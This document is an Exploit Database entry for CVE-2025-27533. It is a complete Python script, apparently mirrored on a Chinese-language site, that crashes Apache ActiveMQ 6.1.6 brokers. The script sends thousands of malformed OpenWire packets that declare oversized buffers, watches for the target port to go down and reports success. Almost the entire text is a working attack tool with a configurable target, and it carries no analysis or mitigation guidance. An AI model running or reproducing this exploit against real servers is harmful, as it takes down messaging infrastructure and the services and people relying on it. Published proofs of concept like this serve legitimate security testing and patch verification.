Apache ActiveMQ 6.1.6 – Denial of Service (DOS)

Exploit Database
5 阅读

作者： Abdualhadi khalifa

日期： 2025-05-09
类别：
- remote
平台：
- multiple
来源：https://www.exploit-db.com/exploits/52288/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

# Exploit Title: Apache ActiveMQ 6.1.6 - Denial of Service (DOS)

# Date: 2025-05-9

# Exploit Author: [Abdualhadi khalifa (https://x.com/absholi7ly/)

# Github: https://github.com/absholi7ly/CVE-2025-27533-Exploit-for-Apache-ActiveMQ

# CVE: CVE-2025-27533

import socket

import struct

import time

import datetime

import threading

import requests

import argparse

import random

from colorama import init, Fore

from tabulate import tabulate

from tqdm import tqdm

from concurrent.futures import ThreadPoolExecutor

init()

def print_banner():

banner = f"""

{Fore.CYAN}============================================================

CVE-2025-27533 Exploit PoC - Apache ActiveMQ DoS

============================================================

{Fore.YELLOW}Developed by: absholi7ly

{Fore.CYAN}============================================================{Fore.RESET}

"""

print(banner)

def _check_server_availability(host, port, admin_port=8161, timeout=2):

"""Internal function to check server availability"""

tcp_reachable = False

admin_reachable = False

try:

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.settimeout(timeout)

sock.connect((host, port))

sock.close()

tcp_reachable = True

except (socket.timeout, ConnectionRefusedError):

pass

try:

response = requests.get(f"http://{host}:{admin_port}/admin", timeout=timeout)

admin_reachable = response.status_code == 200

except (requests.Timeout, requests.ConnectionError):

pass

return tcp_reachable, admin_reachable

def check_server_availability(host, port, admin_port=8161, timeout=2, retries=5):

for _ in range(retries):

tcp_reachable, admin_reachable = _check_server_availability(host, port, admin_port, timeout)

if not tcp_reachable:

return False, admin_reachable

time.sleep(0.5)

return True, admin_reachable

def parse_hex_or_int(value):

try:

if value.startswith('0x') or value.startswith('0X'):

return int(value, 16)

return int(value)

except ValueError:

raise ValueError(f"Invalid integer or hex value: {value}")

def create_malicious_packet(buffer_size=0x1E00000, packet_id=1):

command_type = 0x01

client_id = f"EXPLOIT-PACKET-{packet_id:04d}".encode()

version = 12

packet = bytearray()

packet += b'\x00\x00\x00\x00'

packet += struct.pack("B", command_type)

packet += struct.pack(">I", len(client_id))

packet += client_id

packet += struct.pack(">I", version)

packet += struct.pack(">I", buffer_size)

packet += bytes(random.randint(0, 255) for _ in range(50))

packet_length = len(packet) - 4

packet[0:4] = struct.pack(">I", packet_length)

return packet

def send_single_packet(host, port, packet, packet_num, total_packets, buffer_size, packet_status, stop_event):

if stop_event.is_set():

return

timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S.%f")[:-3]

tcp_reachable, admin_reachable = check_server_availability(host, port)

status = f"TCP: {'Up' if tcp_reachable else 'Down'}, Admin: {'Up' if admin_reachable else 'Down'}"

local_port = "N/A"

connection_status = "Success"

max_connect_retries = 5

for connect_attempt in range(max_connect_retries):

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.settimeout(5)

sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 1024 * 1024)

sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1024 * 1024)

sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)

try:

sock.connect((host, port))

local_port = sock.getsockname()[1]

print(f"{Fore.GREEN}[+] Connected to {host}:{port} (Packet {packet_num}/{total_packets}, Port: {local_port}, Buffer: {buffer_size // (1024*1024)} MB){Fore.RESET}")

max_retries = 3

for attempt in range(max_retries):

try:

sock.send(packet)

print(f"{Fore.CYAN}[*] Sent Packet {packet_num}/{total_packets} (Port: {local_port}, Buffer: {buffer_size // (1024*1024)} MB){Fore.RESET}")

try:

response = sock.recv(2048)

response_len = len(response)

connection_status = f"Success (Response: {response_len} bytes)"

except:

connection_status = "Success (No Response)"

break

except socket.error as e:

connection_status = f"Failed: {str(e)}"

if attempt < max_retries - 1:

print(f"{Fore.YELLOW}[-] Failed to send Packet {packet_num}/{total_packets} (Attempt {attempt+1}, Port: {local_port}): {e}. Retrying...{Fore.RESET}")

time.sleep(0.5)

continue

else:

print(f"{Fore.RED}[-] Failed to send Packet {packet_num}/{total_packets} after {max_retries} attempts: {e}{Fore.RESET}")

packet_status.append([packet_num, timestamp, status, local_port, f"Packet-{packet_num:04d}", connection_status])

break

except socket.timeout:

print(f"{Fore.RED}[-] Connection timeout for Packet {packet_num}/{total_packets} (Port: {local_port}){Fore.RESET}")

packet_status.append([packet_num, timestamp, "Connection Timeout", local_port, f"Packet-{packet_num:04d}", "Timeout"])

break

except socket.error as e:

error_str = str(e)

if "10053" in error_str:

error_type = "Connection Reset"

elif "timeout" in error_str:

error_type = "Timeout"

else:

error_type = "Other"

if "10053" in error_str and connect_attempt < max_connect_retries - 1:

print(f"{Fore.YELLOW}[-] [WinError 10053] for Packet {packet_num}/{total_packets} (Attempt {connect_attempt+1}): {e}. Retrying connection...{Fore.RESET}")

time.sleep(1)

continue

print(f"{Fore.RED}[-] Error connecting for Packet {packet_num}/{total_packets} (Port: {local_port}): {e}{Fore.RESET}")

packet_status.append([packet_num, timestamp, f"Error: {error_type}", local_port, f"Packet-{packet_num:04d}", f"Error: {error_str}"])

break

finally:

sock.close()

packet = None

def send_packets(host, port, total_packets=2000, buffer_sizes=[0x1E00000, 0x3200000]):

packet_status = []

stop_event = threading.Event()

max_threads = 2

pbar = tqdm(total=total_packets, desc="Sending Packets", unit="packet")

def monitor_server():

while not stop_event.is_set():

tcp_reachable, _ = check_server_availability(host, port)

if not tcp_reachable:

print(f"{Fore.GREEN}[+] Server TCP port {port} is down!{Fore.RESET}")

stop_event.set()

break

time.sleep(1)

monitor_thread = threading.Thread(target=monitor_server)

monitor_thread.start()

packet_num = 1

with ThreadPoolExecutor(max_workers=max_threads) as executor:

futures = []

while packet_num <= total_packets and not stop_event.is_set():

buffer_size = random.choice(buffer_sizes)

packet = create_malicious_packet(buffer_size, packet_num)

future = executor.submit(

send_single_packet,

host, port, packet, packet_num, total_packets, buffer_size, packet_status, stop_event

)

futures.append(future)

packet_num += 1

pbar.update(1)

time.sleep(random.uniform(0.3, 0.5))

if packet_num % 50 == 0:

tcp_reachable, _ = check_server_availability(host, port)

time.sleep(2)

if not tcp_reachable:

print(f"{Fore.GREEN}[+] Server TCP port {port} is down!{Fore.RESET}")

stop_event.set()

break

print(f"{Fore.MAGENTA}[*] {packet_num} packets sent,{Fore.RESET}")

pbar.close()

stop_event.set()

monitor_thread.join()

packet_status.sort(key=lambda x: x[0])

total_sent = len(packet_status)

successful = sum(1 for p in packet_status if p[5].startswith("Success"))

failed = total_sent - successful

print(f"\n{Fore.CYAN}[*] Packet Status Table:{Fore.RESET}")

print(tabulate(

packet_status,

headers=["Packet #", "Timestamp", "Server Status", "Local Port", "Packet ID", "Connection"],

tablefmt="fancy_grid",

stralign="center",

numalign="center"

))

print(f"\n{Fore.CYAN}[*] Exploit Statistics:{Fore.RESET}")

print(f"- Total Packets Sent: {total_sent}")

print(f"- Successful Packets: {successful} ({successful/total_sent*100:.2f}%)")

print(f"- Failed Packets: {failed} ({failed/total_sent*100:.2f}%)")

tcp_reachable, admin_reachable = check_server_availability(host, port)

print(f"\n{Fore.CYAN}[*] Final Server Status:{Fore.RESET}")

if not tcp_reachable:

print(f"{Fore.GREEN}[+] Exploit Successful: TCP port {port} is down!{Fore.RESET}")

else:

print(f"{Fore.YELLOW}[-] Exploit Incomplete: TCP port {port} still up.{Fore.RESET}")

return packet_status

def main():

print_banner()

parser = argparse.ArgumentParser(description="CVE-2025-27533 Exploit PoC for Apache ActiveMQ")

parser.add_argument("--host", default="127.0.0.1", help="Target IP address")

parser.add_argument("--port", type=int, default=61616, help="OpenWire port")

parser.add_argument("--total-packets", type=int, default=2000, help="Total packets to send")

parser.add_argument("--buffer-sizes", type=parse_hex_or_int, nargs='+', default=[0x1E00000, 0x3200000],

help="Buffer sizes in bytes (decimal or hex)")

args = parser.parse_args()

print(f"{Fore.CYAN}[*] Exploit Configuration:{Fore.RESET}")

print(f"- Target: {args.host}:{args.port}")

print(f"- Total Packets: {args.total_packets}")

print(f"- Buffer Sizes: {[f'{size:#x} ({size // (1024*1024)} MB)' for size in args.buffer_sizes]}")

print(f"\n{Fore.CYAN}[*] Sending malicious packets...{Fore.RESET}")

packet_status = send_packets(args.host, args.port, args.total_packets, args.buffer_sizes)

if __name__ == "__main__":

try:

main()

except KeyboardInterrupt:

print(f"{Fore.RED}[-] Program interrupted by user.{Fore.RESET}")